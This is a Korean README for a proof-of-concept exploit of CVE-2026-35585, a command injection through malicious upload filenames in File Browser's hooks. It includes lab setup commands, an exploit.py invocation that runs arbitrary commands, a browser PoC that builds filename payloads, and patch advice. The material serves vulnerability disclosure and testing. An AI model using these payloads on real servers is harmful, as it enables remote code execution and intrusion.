
CVE-2026-35585에 대한 개념 증명 익스플로잇으로, File Browser(버전 2.0.0 ~ 2.33.1)의 OS 명령 주입 취약점입니다. 악성 파일 업로드를 통한 원격 코드 실행을 위한 Python 및 브라우저 기반 PoC 스크립트가 포함되어 있습니다.
이 리포지토리는 File Browser(버전 2.0.0~2.33.1)에서 발견된 중대한 OS 명령 인젝션 취약점 CVE-2026-35585의 Proof of Concept(PoC)입니다.
이 취약점은 "Custom Command Hooks" 기능에 존재합니다. 셸 실행 시 $FILE이나 $USERNAME 등의 환경 변수가 충분히 샌니타이즈되지 않기 때문에, 파일 업로드 권한이 있는 인증된 사용자는 악의적인 파일명을 이용해 호스트 시스템에서 임의의 명령을 실행할 가능성이 있습니다.
발견자: saku0512 (https://github.com/Saku0512)
이 프로젝트는 교육 목적 및 윤리적인 보안 테스트 목적으로만 사용하십시오.
이 도구의 악용, 손해 또는 불법 행위에 대해 저자는 일체의 책임을 지지 않습니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 이 소프트웨어를 사용함으로써 명시적인 허가를 받은 환경에서만 보안 테스트를 수행하는 데 동의한 것으로 간주됩니다.
File Browser에서는 관리자가 "After Upload"와 같은 훅을 설정할 수 있습니다. 이러한 훅이 실행될 때 애플리케이션은 셸 명령을 실행하고 $FILE과 같은 변수를 실제 파일명으로 대체합니다. 파일명에 ;, &, | 등의 셸 메타 문자가 포함된 경우 적절히 이스케이프되지 않고 시스템 셸에서 실행되어 버립니다.
이 섹션에서는 제공된 환경과 익스플로잇 스크립트를 사용하여 원격 코드 실행(RCE)을 재현하는 절차를 설명합니다.
Docker Compose를 사용하여 취약한 환경(File Browser v2.33.1)을 실행합니다. 처음에는 data/filebrowser.db가 존재하지 않으므로 먼저 File Browser의 DB를 초기화한 후 훅을 설정합니다.
# data 디렉터리에 적절한 권한 설정
mkdir -p data && sudo chown -R 1000:1000 data
# DB 초기화
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser config init --database /database/filebrowser.db
# admin / admin 사용자 추가
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser users add admin admin --perm.admin --database /database/filebrowser.db
# shell 에 "sh -c" 설정
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser config set --shell "sh -c" --database /database/filebrowser.db
# After Upload 명령 추가
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser cmds add after_upload 'echo Uploaded: $FILE' --database /database/filebrowser.db
# 컨테이너 실행
docker compose up -d
이미 data/filebrowser.db가 존재하는 경우 config init은 필요하지 않습니다. admin 사용자가 이미 있다면 users add 대신 다음 명령어로 비밀번호를 재설정하십시오.
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser users update admin --password admin --database /database/filebrowser.db
컨테이너 실행 후 훅 설정을 변경하려면 SQLite의 잠금을 피하기 위해 docker compose stop 한 후 설정 명령을 실행하고 마지막에 docker compose start 하십시오.
exploit.py 스크립트를 실행하여 로그인과 악의적인 파일 업로드를 자동화합니다. 다음 명령은 컨테이너 내 /tmp 디렉터리에 pwned_rce_test라는 파일을 생성하려고 시도합니다.
# 의존성 설치
pip install requests
# 익스플로잇 실행
python3 exploit.py -t http://localhost:8080 -u admin -p admin -c "touch /tmp/pwned_rce_test"
컨테이너 내에 파일이 생성되었는지 확인하여 명령이 정상적으로 실행되었는지 검증합니다.
docker exec -it cve-2026-35585-vuln-app ls -l /tmp/pwned_rce_test
파일이 존재하면 RCE가 확인됩니다.
기존 exploit.py는 그대로 사용할 수 있습니다. File Browser를 조작하는 느낌으로 확인하고 싶다면 함께 제공되는 브라우저 PoC 내비게이터를 사용할 수 있습니다.
위의 "1. 환경 구축 및 초기 설정"을 실행하고 http://localhost:8080에서 File Browser에 로그인할 수 있는 상태로 만듭니다.
python3 browser_poc.py
브라우저에서 다음을 엽니다.
http://127.0.0.1:8090/
http://localhost:8080의 도달 가능성을 확인합니다.admin / admin으로 로그인하고 File Browser API 토큰을 획득합니다.id > /srv/pwned_browser_rce.txt를 실행하는 파일명 페이로드를 생성합니다./srv/pwned_browser_rce.txt를 File Browser API를 통해 읽어 RCE 결과를 화면 내에서 확인합니다./srv는 docker-compose.yml에서 이 리포지토리에 마운트되어 있으므로 성공하면 호스트 측에도 pwned_browser_rce.txt가 생성됩니다.
File Browser를 버전 2.33.8 이상으로 업데이트하십시오. 수정된 버전에서는 훅 기능이 기본적으로 비활성화되고 변수 전개가 더 안전하게 처리됩니다.